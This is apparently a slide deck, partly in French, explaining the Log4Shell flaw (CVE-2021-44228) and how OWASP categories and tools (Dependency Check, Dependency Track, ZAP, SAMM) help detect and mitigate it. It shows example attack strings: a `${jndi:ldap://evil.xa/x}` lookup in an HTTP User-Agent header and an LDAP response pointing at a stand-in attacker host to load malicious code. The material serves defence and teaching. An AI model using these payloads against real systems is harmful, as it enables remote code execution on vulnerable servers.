

OWASP

vs.

log4j



CVE-2021-44228, ... in a nutshell...

- RCE ⇒ Critical
- Envoyer un message du type `{jndi:ldap://serveur/message}`
- Capturer le message dans les logs: `logger.info("Message reçu " + msg);`
- Déclenche un appel vers le serveur LDAP
- Récupération du payload



The screenshot shows a GitHub search interface with the following elements:

- Left sidebar:** A list of repository categories with counts: Repositories (435), Code (?), Commits (1K), Issues (4K), Discussions (55), Packages (7), Marketplace (1), and Topics (1).
- Main content area:**
 - Header: "435 repository results" and "Sort: Best match".
 - Result 1: **NCSC-NL/log4shell**. Description: "Operational information regarding the log4shell vulnerabilities in the Log4j logging library." Tags: vulnerability, log4j, cve-2021-44228, log4shell, cve-2021-45046, cve-2021-4104, cve-2021-45105. Stats: 1.9k stars, Python, Updated 2 days ago.
 - Result 2: **Cybereason/Logout4Shell**. Description: "Use Log4Shell vulnerability to vaccinate a victim server against Log4Shell". Stats: 1.7k stars, Java, MIT license, Updated on 22 Dec 2021.

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The log4j JNDI Attack

and how to prevent it

An attacker inserts the JNDI lookup in a header field that is likely to be logged.

```
GET /test HTTP/1.1
Host: victim.xa
User-Agent: ${jndi:ldap://evil.xa/x}
```



✖ BLOCK WITH WAF

Attacker



✖ DISABLE
REMOTE
CODEBASES

Vulnerable Server
http://victim.xa



The string is passed to log4j
for logging

```
"${jndi:ldap://evil.xa/x}"
```

✖ PATCH LOG4J

Vulnerable log4j
implementation



✖ DISABLE LOG4J

log4j interpolates the string and
queries the malicious LDAP server.

```
ldap://evil.xa/x
```

✖ DISABLE JNDI LOOKUPS

Malicious LDAP Server
ldap://evil.xa



The LDAP server responds with directory
information that contains the malicious
Java class

```
dn:  
javaClassName: Malicious  
javaCodebase: http://evil.xa  
javaSerializedData: <...>
```

```
public class Malicious implements Serializable {  
    ...  
    static {  
        <malicious Java code>  
    }  
    ...  
}
```

JAVA deserializes (or downloads) the
malicious Java class and executes it.

A06:2021 – Vulnerable and Outdated Components

Description

- You are likely vulnerable:
 - If the software is vulnerable, unsupported, or out of date. This includes the OS, web/application server, database management system (DBMS), applications, APIs and all components, runtime environments, and libraries.

How to prevent

- Scan for vulnerable dependencies

A09:2021 – Security Logging and Monitoring Failures

Description

- Penetration testing and scans by dynamic application security testing (DAST) tools (such as OWASP ZAP) do not trigger alerts.

How to prevent

- Ensure log data is encoded correctly to prevent injections or attacks on the logging or monitoring systems

OWASP Tools that already exist

- Software Bill of Materials : Dependency Track
 - ⇒ List/Get alarm for each application which include a vulnerable version of Log4j
- Software Composition Analysis (SCA) : Dependency Check
 - ⇒ Ensure that you don't include a vulnerable dependency in your code

OWASP Tools that already exist



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How can OWASP #SAMM (Software Assurance Maturity Model) help identify systems impacted by a vulnerability like #Log4J / #Log4Shell and then take actions to remediate it? - a great blog post by the OWASP project team - thanks @sebadele!

owaspsamm.org/blog/2022/02/0...



 **SAMM** [ABOUT SAMM](#) [THE MODEL](#) [GUIDA](#)

Governance | Strategy & Metrics

The implementation of [this security practice](#) has an indirect impact but it's an overarching one. At a high level, having a strategy around appsec to structure all your activities lays the foundation for all the rest.

OWASP / Reaction



Zed Attack Proxy

@zaproxy

New ZAP alpha active scan rule: Log4Shell
(CVE-2021-44228) detection: [zaproxy.org
/docs/desktop/a...](https://zaproxy.org/docs/desktop/a...)

Note this does depend on OAST support: [zaproxy.org
/docs/desktop/a...](https://zaproxy.org/docs/desktop/a...)

Great work by [@ricekot_](#)

Blog post coming soon... [#Log4Shell](#) [#log4j](#) [#owasp](#)
[#dast](#)



Hannibal is on the jazz @LeCodeNinja · 13 déc. 2021



The OWASP Zed Attack Proxy was vulnerable to [#Log4Shell](#)

Well...



OWASP / Reaction

